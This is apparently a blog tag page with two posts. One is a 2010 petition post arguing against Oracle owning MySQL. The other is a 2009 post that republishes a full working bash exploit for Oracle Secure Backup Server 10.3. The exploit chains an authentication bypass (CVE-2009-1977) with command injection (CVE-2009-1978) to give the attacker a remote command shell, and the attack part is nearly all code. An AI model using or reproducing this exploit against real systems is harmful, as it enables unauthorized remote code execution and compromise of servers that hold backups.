Posts Tagged ‘oracle’

Save MySQL : The Petition

Sunday, January 10th, 2010

In April 2009, Oracle announced that it had agreed to acquire Sun. Since Sun had acquired MySQL the previous year, this would mean that Oracle, the market leader for closed source databases, would get to own MySQL, the most popular open source database.

If Oracle acquired MySQL on that basis, it would have as much control over MySQL as money can possibly buy over an open source project. In fact, for most open source projects (such as Linux or Apache) there isn’t any comparable way for a competitor to buy even one tenth as much influence. But MySQL’s success has always depended on the company behind it that develops, sells and promotes it. That company (initially MySQL AB, then Sun) has always owned the important intellectual property rights (IPRs), most notably the trademark, copyright and (so far only for defensive purposes) patents. It has used the IPRs to produce income and has reinvested a large part of those revenues in development, getting not only bigger but also better with time.

If those IPRs fall into the hands of MySQL’s primary competitor, then MySQL immediately ceases to be an alternative to Oracle’s own high-priced products. So far, customers had the choice to use MySQL in new projects instead of Oracle’s products. Some large companies even migrated (switched) from Oracle to MySQL for existing software solutions. And every one could credibly threaten Oracle’s salespeople with using MySQL unless a major discount was granted. If Oracle owns MySQL, it will only laugh when customers try this. Getting rid of this problem is easily worth one billion dollars a year to Oracle, if not more.

Sign the Petition – Save MySQL

Oracle Secure Backup Server 10.3.0.1.0 Auth Bypass/RCI Exploit

Monday, September 14th, 2009

Oracle Secure Backup Administration Server authentication bypass, plus command injection vulnerability

ZDI ( Zero Day Initiative – Luca Carettoni – Nbs )

Tested On :

- Oracle Secure Backup Server 10.3.0.1.0_win32_release
- MS Windows Professional XP SP3

PoC :

#!/bin/bash
clear
echo “:: Oracle Secure Backup Admin Server 10.3 AuthBypass/CodeExec Exploit ::”

if [[ $# -ne 1 ]]
then
echo “usage: ./$(basename $0)
echo “i.e.: ./$(basename $0) 192.168.0.100″
exit
fi

if ! which curl >/dev/null
then
echo “‘curl’ is required in order to handle HTTPS connections”
exit
fi

TARGET=$1

echo “[+] Exploiting CVE-2009-1977 against $TARGET”
postdata=”button=Login&attempt=1&mode=&tab=&uname=–fakeoption&passwd=fakepwd”
session=`curl -kis “https://$TARGET/login.php” -d $postdata | grep “PHPSESSID=” | head -n 1 | cut -d= -f 2 | cut -d\; -f 1`

if [[ -z $session ]]
then
echo “[!] Fatal error. No valid token has been retrieved”
exit
fi

echo “[+] I got a valid token: $session”

#Use a valid session and CVE-2009-1978 in order to inject arbitrary commands
echo “[+] Exploiting CVE-2009-1978 against $TARGET”
shell=”1%26ver>osb103shelltmp”
curl -k -s “https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell” -b “PHPSESSID=$session” > /dev/null
check=`curl -ks “https://$TARGET/osb103shelltmp” -b “PHPSESSID=$session” | grep -i Microsoft`

if [[ -z $check ]]
then
echo “[!] Fatal error. I cannot execute arbitrary commands”
exit
fi

echo “[+] Enjoy your non-interactive shell! Use EXIT to clean up everything”
echo
echo \>$check

while(true); do
echo -n \>
read -r cmd

if [ "$cmd" == "EXIT" ]
then
echo “[+] Removing the temporary file and closing”
shell=”1%26del%20osb103shelltmp”
curl -k -s “https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell” -b “PHPSESSID=$session” > /dev/null
exit
fi

#URLencode function
cmd=`echo -n “$cmd”|od -t x1 -A n|tr ” ” %`
shell=”1%26$cmd>osb103shelltmp”
curl -k -s “https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell” -b “PHPSESSID=$session” > /dev/null
echo “[+] Last successful command execution:”
curl -ks “https://$TARGET/osb103shelltmp” -b “PHPSESSID=$session”
done

References :
ZDI1
ZDI2